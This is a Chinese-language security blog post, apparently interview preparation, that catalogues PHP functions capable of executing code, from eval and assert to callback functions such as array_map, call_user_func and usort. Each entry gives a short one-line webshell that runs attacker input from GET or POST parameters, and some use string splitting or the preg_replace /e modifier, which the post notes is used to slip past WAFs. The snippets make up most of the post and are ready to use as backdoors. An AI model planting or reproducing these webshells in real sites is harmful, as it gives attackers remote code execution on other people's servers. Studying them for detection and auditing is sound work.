WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

php代码执行函数

看到了学长的面试题,发现我也只会两个,所以在这里总结一下

0x01 eval()

这个是最常见的,基础的一句话木马都会用到

1
<?php eval($_POST[pass]); ?>

0x02 assert()

这个也是比较常见的执行php代码的函数

1
<?php assert($_POST[pass]); ?>

0x03 preg_replace()

这个也见过,好像用在绕过waf比较多

1
<?php @preg_replace("/abc/e",$_POST['pass'],"abcd"); ?>

之前两个函数太常见了就不截图了

0x04 creatue_funtcion()

php手册上写着在内部执行一个eval,肯定也是可以执行php代码的

1
2
3
4
<?php 
$shell = create_function('',$_POST['pass']);
$shell();
?>

0x05 array_map()

看了这个例子感觉稍微清楚了一下,这个函数的第一个参数是函数名第二个参数是那个函数的参数,看了一下别人写的shell

1
2
3
4
5
6
<?php
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
?>

0X06 array_filter()

这个和上面的函数差不多

根据我肤浅的理解,就是两个参数相反放就可以

1
2
3
4
5
6
<?php
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_filter($array, $func);
?>

0x07 array_walk()

和上面除了换个函数别的都一样

1
2
3
4
5
6
<?php
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_walk($array, $func);
?>

0x08 call_user_func()

和上面几个也差不多,第一个参数是回调参数,第二个是回调参数的函数

1
2
3
4
5
<?php
$func = $_GET['func'];
$cmd = $_GET['cmd'];
@call_user_func($func, $cmd);
?>

0x09 call_user_func_array()

还是一样的..不同的地方是第二个参数要要传一个数组

1
2
3
4
5
6
<?php
$func = $_GET['func'];
$cmd = $_GET['cmd'];
$array[0] = $cmd;
@call_user_func_array($func, $array);
?>

0x10 usort()/uasort()

这两个函数在代码执行上用法一样,当php版本小于5.6时

1
2
3
4
5
6
7
<?php
usort($_GET,'asse'.'rt');
?>

<?php
uasort($_GET,'asse'.'rt');
?>

usort() 通过用户自定义的比较函数对数组进行排序。

uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。

这是对两个的描述,上面写着自定义的函数,那如果不使用自定义的函数,使用可以执行php代码的函数就可以执行php代码

当php版本 大于5.6时

1
2
3
4
5
6
7
<?php
usort(...$_GET);
?>

<?php
uasort(...$_GET);
?>

…$GET是php5.6里的新特性,可以将数组展开为参数,上面使用了usort,这里使用uasort演示

这里需要注意的是两个1的地方必须使用数字不能使用字符串,并且要相等,test可以随便修改

目前就找到这么多了,如果以后看到没的再补充